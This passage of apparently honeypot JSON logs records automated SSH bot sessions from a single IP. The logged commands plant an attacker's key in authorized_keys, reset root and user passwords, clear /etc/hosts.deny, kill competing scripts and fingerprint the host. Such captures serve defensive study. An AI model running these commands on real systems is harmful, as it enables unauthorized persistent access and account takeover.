$2;}'"},{"seq":34,"at":"2026-08-26T22:44:26.715734+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"rolando","password":"rolando","method":"password","accepted":true,"tier":"other"}]} {"id":"0570332a-1fd4-4a47-ada3-ec6409b397ff","name":"cunning-graceful-wheatear","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":46574,"username":"chenl","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:42:33.369511+00:00","ended_at":"2026-08-26T22:42:35.381203+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-26T22:42:09.315217+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:42:09.384840+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:42:12.638624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:42:14.135365+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:42:14.202211+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nzCNdt9tWG6s5\\nzCNdt9tWG6s5\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:42:14.270114+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nzCNdt9tWG6s5\\nzCNdt9tWG6s5\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:42:14.336962+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:42:15.194803+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:42:15.744734+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:42:15.781071+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:42:15.814515+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-26T22:42:17.352367+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:42:17.424032+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:42:18.565293+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:42:18.646010+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:42:20.484568+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:42:20.554045+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:42:22.434198+00:00","kind":"output","latency_ms":null,"data":" 22:42:22 up 6 days, 19:32, 0 user, load average: 0.14, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:42:22.502759+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:42:24.102547+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:42:24.174754+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:42:26.123196+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:42:26.191021+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:42:27.170882+00:00","kind":"output","latency_ms":null,"data":"top - 22:42:27 up 6 days, 19:32, 0 user, load average: 0.14, 0.11, 0.1\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:42:27.239009+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:42:28.679937+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:42:28.750168+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:42:30.303710+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:42:30.370404+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:42:31.692847+00:00","kind":"output","latency_ms":null,"data":"chenl"},{"seq":31,"at":"2026-08-26T22:42:31.762347+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:42:33.303664+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:42:33.370339+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:42:35.370287+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"chenl","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"4e719400-061f-4e49-adcd-cf9a46eb27dc","name":"candid-diligent-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":41206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:40:30.789721+00:00","ended_at":"2026-08-26T22:40:31.645165+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:40:10.802095+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:40:10.869382+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:40:12.976165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:40:14.743058+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:40:14.812284+00:00","kind":"input","latency_ms":null,"data":"echo \"root:FrUhzRalC4a1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:40:14.880688+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:40:14.948286+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:40:15.735152+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:40:17.124255+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:40:17.191709+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:40:18.449661+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:40:18.518936+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:40:20.356555+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:40:20.431021+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:40:21.629840+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:40:21.698658+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:40:22.821639+00:00","kind":"output","latency_ms":null,"data":" 22:40:22 up 6 days, 19:30, 0 user, load average: 0.03, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:40:22.889634+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:40:24.582115+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:40:24.651565+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:40:26.366150+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:40:26.438104+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:40:26.780829+00:00","kind":"output","latency_ms":null,"data":"top - 22:40:26 up 6 days, 19:30, 0 user, load average: 0.03, 0.02, 0.03\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:40:26.848483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:40:27.714018+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:40:27.783078+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:40:28.682573+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:40:28.753403+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:40:29.481337+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:40:29.548376+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:40:30.721663+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:40:30.790281+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:40:31.636741+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"132132","method":"password","accepted":true,"tier":"other"}]} {"id":"8e0602a6-803d-4475-a86b-78953a99927b","name":"dusky-breezy-bittern","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":49254,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:38:28.814053+00:00","ended_at":"2026-08-26T22:38:29.858603+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-26T22:38:06.788865+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:38:06.855920+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:38:09.139511+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:38:10.998712+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:38:11.065843+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Abc123...\\n1Clh5P1bIDo7\\n1Clh5P1bIDo7\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:38:11.131544+00:00","kind":"input","latency_ms":null,"data":"echo \"Abc123...\\n1Clh5P1bIDo7\\n1Clh5P1bIDo7\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:38:11.199393+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:38:12.494584+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:38:12.676139+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:38:12.744604+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:38:12.919481+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:38:13.583527+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:38:13.653198+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:38:15.266878+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:38:15.336108+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:38:16.886967+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:38:16.958847+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:38:18.808576+00:00","kind":"output","latency_ms":null,"data":" 22:38:18 up 6 days, 19:28, 0 user, load average: 0.13, 0.11, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:38:18.884493+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:38:20.863586+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:38:20.932520+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:38:21.797133+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:38:21.861922+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:38:23.634083+00:00","kind":"output","latency_ms":null,"data":"top - 22:38:23 up 6 days, 19:28, 0 user, load average: 0.13, 0.11, 0.1\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:38:23.703077+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:38:24.881483+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:38:24.949917+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:38:26.195170+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:38:26.263741+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:38:27.874364+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-26T22:38:27.938800+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:38:28.748964+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:38:28.814903+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:38:29.848153+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"Abc123...","method":"password","accepted":true,"tier":"other"}]} {"id":"234121c6-c9e6-48f3-b120-fc8473397bec","name":"prairie-thawing-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":50274,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:36:31.926723+00:00","ended_at":"2026-08-26T22:36:33.135610+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:36:07.065031+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:36:07.131921+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:36:10.034918+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:36:11.403194+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:36:11.470457+00:00","kind":"input","latency_ms":null,"data":"echo \"root:o0E1oPkLWIWD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:36:11.535536+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:36:11.601165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:36:12.423366+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:36:13.613109+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:36:13.678692+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:36:14.482889+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:36:14.552661+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:36:16.103471+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:36:16.171707+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:36:17.925815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:36:17.993369+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:36:20.031840+00:00","kind":"output","latency_ms":null,"data":" 22:36:20 up 6 days, 19:26, 0 user, load average: 0.08, 0.08, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:36:20.099444+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:36:21.765222+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:36:21.831118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:36:23.407149+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:36:23.478318+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:36:24.697304+00:00","kind":"output","latency_ms":null,"data":"top - 22:36:24 up 6 days, 19:26, 0 user, load average: 0.08, 0.08, 0.08\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:36:24.763649+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:36:26.909791+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:36:26.975410+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:36:27.997846+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:36:28.065710+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:36:29.870230+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:36:29.937497+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:36:31.859134+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:36:31.927501+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:36:33.124939+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"scooter","method":"password","accepted":true,"tier":"other"}]} {"id":"8821cc7f-cb2b-4c0b-8112-dc93ca0c24ad","name":"blithe-honest-dunlin","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":49446,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:34:33.498009+00:00","ended_at":"2026-08-26T22:34:34.540507+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T22:34:09.926745+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:34:09.998072+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 